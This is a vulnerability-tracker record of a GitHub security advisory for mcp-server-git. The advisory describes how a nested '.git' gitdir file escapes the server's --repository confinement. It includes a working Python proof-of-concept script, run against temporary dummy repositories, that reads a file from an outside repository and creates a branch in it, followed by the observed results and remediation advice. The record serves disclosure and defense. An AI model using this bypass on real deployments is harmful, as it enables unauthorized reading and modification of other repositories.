{"id":"GHSA-w766-5x43-whvw","kind":"vulnerability","aliases":["GHSA-w766-5x43-whvw"],"related":[],"title":"mcp-server-git: nested gitdir file bypasses --repository confinement","description":"# `mcp-server-git`: nested gitdir file bypasses `--repository` confinement\n\n**Report date:** 2026-10-27  \n**Reporter:** ShieldPi  \n**Affected package:** `mcp-server-git`  \n**Confirmed package version:** 2026.10.19  \n**Tested source commit:** `82acf2aabf47bd462606a0d879e4849c26b2afae` (`v2/main`)  \n**Also affected:** `ef9808f71090d0db3eda99e2af2ba78f1086f4fb` (`main`); the complete `src/git/src/mcp_server_git/server.py` file has the same SHA-256 at both commits (`1756064c0bd498f0fa5065891b16f4203a54b210eec813f5d1948ac78780316a`). Other versions were not assessed.\n\n## Summary\n\nWhen `mcp-server-git` is started with `--repository <allowed>`, a caller can supply a nested directory inside `<allowed>` containing a `.git` **file** such as:\n\n```\ngitdir: /path/to/outside-repository/.git\n```\n\n`validate_repo_path()` accepts the nested directory because its filesystem path is inside the allowed repository. `open_repo()` then passes it to `git.Repo()`, which follows the gitdir indirection. Subsequent tool calls operate on the outside repository without revalidating the resolved repository.\n\nThrough the real in-process MCP interface, I confirmed that:\n\n1. `git_show` with the outside repository path directly is rejected.\n2. `git_show` with the nested gitdir path returns committed content from the outside repository.\n3. `git_create_branch` with the nested gitdir path creates a branch in the outside repository.\n\nThis bypasses the server's claimed repository boundary and permits unauthorized read and modification with the MCP process's privileges.\n\n## Attack preconditions\n\nThis is not claimed to be an unauthenticated standalone remote exploit. An attacker must be able to:\n\n- invoke tools on a confined `mcp-server-git` instance;\n- create a nested directory and a `.git` file inside the allowed repository, or cause such content to be placed there; and\n- identify or guess the path of a repository outside the allowed root that the MCP process can access.\n\nOne realistic setup is a deployment that also gives a filesystem MCP server write access to the same allowed directory. At the tested commit, the filesystem server's `write_file` path permits creation of a `.git` file within its allowed directories; it has no special `.git` exclusion. The finding does not depend on that companion server—any mechanism that supplies the nested gitdir file meets the precondition.\n\n## Root cause\n\nIn `src/git/src/mcp_server_git/server.py` at the tested commit:\n\n- Lines 351–369, `validate_repo_path()`, canonicalize only the caller-supplied `repo_path` and check that it is inside `allowed_repository`.\n- Lines 524–527, `open_repo()`, call `validate_repo_path(path, repository)` and then `return git.Repo(path)`.\n\n`Path.resolve()` handles filesystem symlinks but does not interpret Git's `.git` file redirection. GitPython resolves that redirection later. There is no check after opening the repository to ensure that the repository actually selected by Git is the allowed one.\n\nRelevant code:\n\n```python\ndef open_repo(repo_path: str) -> git.Repo:\n    path = Path(repo_path)\n    validate_repo_path(path, repository)\n    return git.Repo(path)\n```\n\n## Minimal reproduction\n\nUse only temporary dummy repositories. The reproduction below uses the repository's existing `connect` and `make_repo` test helpers and the real in-process MCP protocol. Save it as `src/git/repro_gitdir.py` in the tested source tree, then run `PYTHONPATH=tests uv run --frozen python repro_gitdir.py` from `src/git`. On Windows, set `PYTHONPATH` to `tests` for the process using the shell's standard environment-variable syntax.\n\n```python\nfrom pathlib import Path\nimport shutil\nimport tempfile\n\nimport anyio\nimport git\nfrom conftest import connect, make_repo\nfrom mcp_server_git.server import validate_repo_path\n\nROOT = Path(__file__).resolve().parent\nBRANCH = \"gitdir-confinement-bypass-proof\"\n\nasync def main():\n    lab = Path(tempfile.mkdtemp(prefix=\"gitdir-repro-\"))\n    allowed = outside = None\n    try:\n        allowed = make_repo(lab / \"allowed\")\n        outside = make_repo(lab / \"outside\")\n        (lab / \"outside\" / \"proof.txt\").write_text(\"DUMMY-OUTSIDE-CONTENT\\n\")\n        outside.index.add([\"proof.txt\"])\n        outside.index.commit(\"dummy outside commit\")\n\n        nested = lab / \"allowed\" / \"nested\"\n        nested.mkdir()\n        (nested / \".git\").write_text(f\"gitdir: {outside.git_dir}\\n\")\n\n        # The supplied nested path passes the confinement check.\n        validate_repo_path(nested, lab / \"allowed\")\n        redirected = git.Repo(nested)\n        assert Path(redirected.git_dir).resolve() == Path(outside.git_dir).resolve()\n\n        async with connect(lab / \"allowed\") as session:\n            # Negative control: the direct outside path is rejected.\n            direct = await session.call_tool(\"git_show\", {\n                \"repo_path\": str(lab / \"outside\"),\n                \"revision\": \"HEAD:proof.txt\",\n            })\n            assert direct.is_error is True\n            assert \"outside the allowed repository\" in direct.content[0].text\n\n            # Bypass: read an outside committed file through the nested path.\n            bypass = await session.call_tool(\"git_show\", {\n                \"repo_path\": str(nested),\n                \"revision\": \"HEAD:proof.txt\",\n            })\n            assert bypass.is_error is not True\n            assert \"DUMMY-OUTSIDE-CONTENT\" in bypass.content[0].text\n\n            # Integrity impact: create a ref in the outside repository.\n            write = await session.call_tool(\"git_create_branch\", {\n                \"repo_path\": str(nested),\n                \"branch_name\": BRANCH,\n            })\n            assert write.is_error is not True\n\n        assert any(head.name == BRANCH for head in outside.heads)\n        print(\"CONFIRMED: direct path rejected; outside read and branch write succeeded\")\n        redirected.close()\n    finally:\n        if allowed is not None:\n            allowed.close()\n        if outside is not None:\n            outside.close()\n        shutil.rmtree(lab)\n\nanyio.run(main)\n```\n\n### Observed result\n\n```json\n{\n  \"package\": \"mcp-server-git\",\n  \"version\": \"2026.10.19\",\n  \"source_commit\": \"82acf2aabf47bd462606a0d879e4849c26b2afae\",\n  \"direct_outside_path_rejected\": true,\n  \"nested_gitdir_path_accepted\": true,\n  \"outside_commit_content_read\": true,\n  \"outside_repository_modified\": true\n}\n```\n\nAll test repositories and data were temporary local dummies and were deleted afterward. No third-party service or real repository was accessed.\n\n## Impact\n\nA caller who meets the preconditions can cross the configured `--repository` boundary. Confirmed impacts are disclosure of committed files and modification of refs in another repository. Other exposed Git tools may perform additional reads or writes on that outside repository with the server's OS privileges. The demonstrated branch creation is an integrity violation; this report does not claim arbitrary host-file write or code execution.\n\n## Suggested remediation\n\nIn confined mode, do not allow Git repository discovery to escape the explicitly allowed repository:\n\n- Prefer rejecting `.git` file indirection by default when `--repository` is configured, unless there is a documented safe policy for it.\n- After opening, validate the resolved repository identity and relevant paths before every operation. Do not rely solely on validating the original `repo_path` string.\n- Account explicitly for legitimate linked worktrees and separate git directories. A blanket requirement that every `repo.git_dir` be physically beneath the allowed worktree could break valid worktree layouts, so the policy should bind an allowed repository/worktree relationship rather than perform only a naive `git_dir` prefix check.\n- Add regression coverage for absolute and relative gitdir redirection, nested `.git` files, and legitimate linked worktrees. Include both read and write tool tests plus a direct-path negative control.\n\n## Coordinated disclosure and CVE request\n\nPlease keep this report private while a fix and coordinated disclosure are arranged. I will not publish exploitation details before maintainer coordination. If the maintainers confirm that this is a security vulnerability, I request that GitHub, as CNA, assign a CVE through this private advisory. No CVE has been assigned or claimed by the reporter.","summary":"When mcp-server-git runs with --repository confinement, a nested directory containing a .git file pointing elsewhere passes the path check and Git follows it, so tools operate on an outside repository. An attacker can read committed files from that outside repository and create branches in it, with the server's OS privileges.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"mcp-server-git","fixed":["2026.10.28"],"affected":"< 2026.10.28","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ai-tooling","cwe-22","git","mcp","mcp-server-git","python","self-hosted"],"not_affected_if":["no-repository-flag","no-write-access-to-allowed-dir","version-2026.10.28-or-later"],"how_to_check":"- Run `pip show mcp-server-git` and compare the version to `2026.10.28`.\n- Check whether the server is started with `--repository` and whether any caller can write files inside that allowed directory (for example through a filesystem MCP server).","fix":"- `mcp-server-git` `2026.10.28` (fixed version per the product data; the advisory's suggested remediation is not stated as the shipped fix).","status":"open","published_at":"2026-10-28T21:13:40+00:00","first_seen_at":"2026-11-09T22:53:24+00:00","triaged_at":"2026-11-09T22:56:39+00:00","updated_at":"2026-11-09T22:56:39+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-11-09T22:56:39Z","model":"claude-haiku-5-5","output":{"fix":"- `mcp-server-git` `2026.10.28` (fixed version per the product data; the advisory's suggested remediation is not stated as the shipped fix).","reach":"network","title":"mcp-server-git: nested .git file lets callers reach repositories outside the allowed root","impact":"medium","summary":"When mcp-server-git runs with --repository confinement, a nested directory containing a .git file pointing elsewhere passes the path check and Git follows it, so tools operate on an outside repository. An attacker can read committed files from that outside repository and create branches in it, with the server's OS privileges.","audience":"developers","category":"ai-tooling","nicknames":[],"who_cares":["mcp","mcp-server-git","python","git","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"reads and modifies refs in other repositories the server can access","analyst_note":"","how_to_check":"- Run `pip show mcp-server-git` and compare the version to `2026.10.28`.\n- Check whether the server is started with `--repository` and whether any caller can write files inside that allowed directory (for example through a filesystem MCP server).","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["no-repository-flag","no-write-access-to-allowed-dir","version-2026.10.28-or-later"],"who_is_affected":"Teams running mcp-server-git in confined mode with --repository, especially where another tool can write files such as a .git file into the allowed directory. The attacker needs to be able to invoke tools and place a nested .git file, and must know or guess an outside repository path the server process can read. Deployments without --repository or without any write path into the allowed tree are less exposed.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.001059,"input_tokens":7475,"output_tokens":623,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-10':107C '-22':29B '-256':138C '-27':108C '/path/to/outside-repository/.git':173C '1':226C '1756064c0bd498f0fa5065891b16f4203a54b210eec813f5d1948ac78780316a':142C '2':237C '2026':106C '2026.10.19':120C '3':252C '351':432C '369':433C '524':454C '527':455C '5x43':14A,19A '82acf2aabf47bd462606a0d879e4849c26b2afae':124C 'abl':305C 'accept':177C 'access':355C,370C 'actual':500C 'affect':111C,127C 'ai':26B 'ai-tool':25B 'allow':188C,327C,348C,374C,395C,451C,506C,643C,647C 'also':126C,363C 'anyio':607C 'assess':147C 'async':633C 'attack':74B,288C,302C 'boundari':275C 'branch':85B,255C,263C,627C 'bypass':8A,101C,269C,631C 'call':204C,458C 'caller':159C,441C 'caller-suppli':440C 'canonic':437C 'caus':330C,424C 'check':61B,446C,490C 'claim':273C,293C 'code':509C 'commit':77B,123C,141C,246C,379C,430C 'companion':410C 'complet':131C 'confin':10A,48B,103C,311C,630C 'confirm':117C,224C 'conftest':611C 'connect':545C,613C 'contain':52B,166C 'content':247C,332C 'creat':84B,254C,261C,317C 'creation':388C 'cwe':28B 'date':105C 'def':511C,634C 'depend':407C 'deploy':361C 'direct':234C 'directori':51B,164C,180C,320C,375C,396C 'dummi':535C 'ef9808f71090d0db3eda99e2af2ba78f1086f4fb':128C 'elsewher':57B 'ensur':496C 'environ':594C 'environment-vari':593C 'exclus':402C 'exist':544C 'exploit':300C 'file':7A,55B,78B,100C,133C,169C,324C,385C,392C,419C,480C,624C 'filesystem':183C,366C,381C,471C 'find':404C 'follow':64B,198C 'frozen':574C 'ghsa':12A,17A 'ghsa-w766-5x43-whvw':11A,16A 'git':4A,24A,30B,35B,44B,54B,63B,97C,116C,153C,168C,227C,238C,253C,315C,323C,391C,401C,477C,479C,503C,609C 'git.repo':196C,467C,517C,528C 'gitdir':6A,99C,172C,200C,243C,259C,418C,629C,641C 'gitdir-confinement-bypass-proof':628C 'gitdir-repro':640C 'gitpython':482C 'give':364C 'guess':340C 'handl':470C 'helper':550C 'host':39B 'identifi':338C 'import':600C,602C,604C,606C,608C,612C,618C 'in-process':218C,554C 'indirect':201C 'insid':165C,186C,325C,450C 'instanc':316C 'interfac':222C 'interpret':476C 'invok':307C 'lab':636C 'later':486C 'line':431C,453C 'm':648C 'main':129C,635C 'make':547C,614C 'mcp':2A,22A,31B,33B,42B,95C,114C,151C,221C,284C,313C,352C,367C,557C 'mcp-server-git':1A,21A,32B,41B,94C,113C,150C,312C 'mcp_server_git.server':617C 'mechan':413C 'meet':420C 'minim':530C 'modif':281C 'must':303C 'nest':5A,50B,98C,163C,179C,242C,258C,319C,417C 'none':645C 'one':356C,507C 'open':190C,456C,492C,512C 'oper':68B,205C 'os':92B 'outsid':71B,81B,208C,231C,250C,266C,346C,644C 'packag':112C,118C 'parent':626C 'pass':58B,193C 'path':60B,176C,184C,233C,244C,260C,342C,386C,436C,444C,461C,462C,468C,515C,518C,519C,521C,524C,525C,529C,601C,621C,623C,637C 'path.resolve':469C 'pathlib':599C 'permit':277C,387C 'place':335C 'point':56B 'precondit':289C,422C 'prefix':639C 'privileg':93B,287C 'process':220C,285C,353C,556C,587C 'proof':632C 'protocol':558C 'python':36B,510C,575C,597C 'pythonpath':570C,582C 'read':76B,279C 'real':217C,553C 'realist':357C 'redirect':481C,485C 'reject':236C 'relev':508C 'remot':299C 'repo':175C,191C,435C,443C,457C,460C,513C,514C,520C,523C,548C,615C,620C 'report':104C,109C 'repositori':9A,47B,72B,82B,102C,157C,189C,209C,214C,232C,251C,267C,274C,328C,345C,452C,463C,494C,499C,526C,536C,542C 'repro':642C 'repro_gitdir.py':576C 'reproduct':531C,538C 'resolv':213C,483C,625C 'return':245C,466C,527C 'revalid':211C 'root':349C,423C,622C 'run':45B,569C,573C 'save':559C 'select':501C 'self':38B 'self-host':37B 'server':3A,23A,34B,43B,90B,96C,115C,152C,271C,314C,368C,382C,411C 'set':581C 'setup':358C 'sha':137C 'shell':590C 'shieldpi':110C 'show':228C,239C 'shutil':603C 'sourc':122C,566C 'special':400C 'src/git':578C 'src/git/repro_gitdir.py':562C 'src/git/src/mcp_server_git/server.py':132C,426C 'standalon':298C 'standard':592C 'start':155C 'str':516C 'subsequ':202C 'summari':148C 'suppli':161C,415C,442C 'symlink':472C 'syntax':596C 'tempfil':605C 'tempfile.mkdtemp':638C 'temporari':534C 'test':121C,378C,429C,549C,565C,571C,584C 'tool':27B,67B,203C,308C 'tree':567C 'tri':646C 'unauthent':297C 'unauthor':278C 'use':532C,540C,588C 'uv':572C 'v2/main':125C 'valid':174C,434C,459C,522C,619C 'variabl':595C 'version':119C,144C 'w766':13A,18A 'whvw':15A,20A 'window':580C 'within':393C 'without':210C 'write':369C,384C","nicknames":[],"mitigations":[],"who_affected":"Teams running mcp-server-git in confined mode with --repository, especially where another tool can write files such as a .git file into the allowed directory. The attacker needs to be able to invoke tools and place a nested .git file, and must know or guess an outside repository path the server process can read. Deployments without --repository or without any write path into the allowed tree are less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["mcpservergit"],"ptokens":["git","mcp","server"],"labels":["aitooling","cwe22","git","mcp","mcpservergit","medium","pypi","python","selfhosted"],"campaign_type":null,"search_a":"'5x43':14A,19A 'bypass':8A 'confin':10A 'file':7A 'ghsa':12A,17A 'ghsa-w766-5x43-whvw':11A,16A 'git':4A,24A 'gitdir':6A 'mcp':2A,22A 'mcp-server-git':1A,21A 'nest':5A 'repositori':9A 'server':3A,23A 'w766':13A,18A 'whvw':15A,20A","search_b":"'-22':29B 'ai':26B 'ai-tool':25B 'attack':74B 'branch':85B 'check':61B 'commit':77B 'confin':48B 'contain':52B 'creat':84B 'cwe':28B 'directori':51B 'elsewher':57B 'file':55B,78B 'follow':64B 'git':30B,35B,44B,54B,63B 'host':39B 'mcp':31B,33B,42B 'mcp-server-git':32B,41B 'nest':50B 'oper':68B 'os':92B 'outsid':71B,81B 'pass':58B 'path':60B 'point':56B 'privileg':93B 'python':36B 'read':76B 'repositori':47B,72B,82B 'run':45B 'self':38B 'self-host':37B 'server':34B,43B,90B 'tool':27B,67B","search_c":"'-10':107C '-256':138C '-27':108C '/path/to/outside-repository/.git':173C '1':226C '1756064c0bd498f0fa5065891b16f4203a54b210eec813f5d1948ac78780316a':142C '2':237C '2026':106C '2026.10.19':120C '3':252C '351':432C '369':433C '524':454C '527':455C '82acf2aabf47bd462606a0d879e4849c26b2afae':124C 'abl':305C 'accept':177C 'access':355C,370C 'actual':500C 'affect':111C,127C 'allow':188C,327C,348C,374C,395C,451C,506C,643C,647C 'also':126C,363C 'anyio':607C 'assess':147C 'async':633C 'attack':288C,302C 'boundari':275C 'branch':255C,263C,627C 'bypass':101C,269C,631C 'call':204C,458C 'caller':159C,441C 'caller-suppli':440C 'canonic':437C 'caus':330C,424C 'check':446C,490C 'claim':273C,293C 'code':509C 'commit':123C,141C,246C,379C,430C 'companion':410C 'complet':131C 'confin':103C,311C,630C 'confirm':117C,224C 'conftest':611C 'connect':545C,613C 'contain':166C 'content':247C,332C 'creat':254C,261C,317C 'creation':388C 'date':105C 'def':511C,634C 'depend':407C 'deploy':361C 'direct':234C 'directori':164C,180C,320C,375C,396C 'dummi':535C 'ef9808f71090d0db3eda99e2af2ba78f1086f4fb':128C 'ensur':496C 'environ':594C 'environment-vari':593C 'exclus':402C 'exist':544C 'exploit':300C 'file':100C,133C,169C,324C,385C,392C,419C,480C,624C 'filesystem':183C,366C,381C,471C 'find':404C 'follow':198C 'frozen':574C 'git':97C,116C,153C,168C,227C,238C,253C,315C,323C,391C,401C,477C,479C,503C,609C 'git.repo':196C,467C,517C,528C 'gitdir':99C,172C,200C,243C,259C,418C,629C,641C 'gitdir-confinement-bypass-proof':628C 'gitdir-repro':640C 'gitpython':482C 'give':364C 'guess':340C 'handl':470C 'helper':550C 'identifi':338C 'import':600C,602C,604C,606C,608C,612C,618C 'in-process':218C,554C 'indirect':201C 'insid':165C,186C,325C,450C 'instanc':316C 'interfac':222C 'interpret':476C 'invok':307C 'lab':636C 'later':486C 'line':431C,453C 'm':648C 'main':129C,635C 'make':547C,614C 'mcp':95C,114C,151C,221C,284C,313C,352C,367C,557C 'mcp-server-git':94C,113C,150C,312C 'mcp_server_git.server':617C 'mechan':413C 'meet':420C 'minim':530C 'modif':281C 'must':303C 'nest':98C,163C,179C,242C,258C,319C,417C 'none':645C 'one':356C,507C 'open':190C,456C,492C,512C 'oper':205C 'outsid':208C,231C,250C,266C,346C,644C 'packag':112C,118C 'parent':626C 'pass':193C 'path':176C,184C,233C,244C,260C,342C,386C,436C,444C,461C,462C,468C,515C,518C,519C,521C,524C,525C,529C,601C,621C,623C,637C 'path.resolve':469C 'pathlib':599C 'permit':277C,387C 'place':335C 'precondit':289C,422C 'prefix':639C 'privileg':287C 'process':220C,285C,353C,556C,587C 'proof':632C 'protocol':558C 'python':510C,575C,597C 'pythonpath':570C,582C 'read':279C 'real':217C,553C 'realist':357C 'redirect':481C,485C 'reject':236C 'relev':508C 'remot':299C 'repo':175C,191C,435C,443C,457C,460C,513C,514C,520C,523C,548C,615C,620C 'report':104C,109C 'repositori':102C,157C,189C,209C,214C,232C,251C,267C,274C,328C,345C,452C,463C,494C,499C,526C,536C,542C 'repro':642C 'repro_gitdir.py':576C 'reproduct':531C,538C 'resolv':213C,483C,625C 'return':245C,466C,527C 'revalid':211C 'root':349C,423C,622C 'run':569C,573C 'save':559C 'select':501C 'server':96C,115C,152C,271C,314C,368C,382C,411C 'set':581C 'setup':358C 'sha':137C 'shell':590C 'shieldpi':110C 'show':228C,239C 'shutil':603C 'sourc':122C,566C 'special':400C 'src/git':578C 'src/git/repro_gitdir.py':562C 'src/git/src/mcp_server_git/server.py':132C,426C 'standalon':298C 'standard':592C 'start':155C 'str':516C 'subsequ':202C 'summari':148C 'suppli':161C,415C,442C 'symlink':472C 'syntax':596C 'tempfil':605C 'tempfile.mkdtemp':638C 'temporari':534C 'test':121C,378C,429C,549C,565C,571C,584C 'tool':203C,308C 'tree':567C 'tri':646C 'unauthent':297C 'unauthor':278C 'use':532C,540C,588C 'uv':572C 'v2/main':125C 'valid':174C,434C,459C,522C,619C 'variabl':595C 'version':119C,144C 'window':580C 'within':393C 'without':210C 'write':369C,384C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-10-28T21:13:40+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-w766-5x43-whvw","url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-w766-5x43-whvw","severity":"medium","published_at":"2026-10-28T21:13:40+00:00","modified_at":"2026-10-28T21:13:40+00:00","first_seen_at":"2026-11-09T22:53:24+00:00","fetched_at":"2026-11-09T22:53:24+00:00","note":null}],"documents":[{"id":110615,"url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-w766-5x43-whvw","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}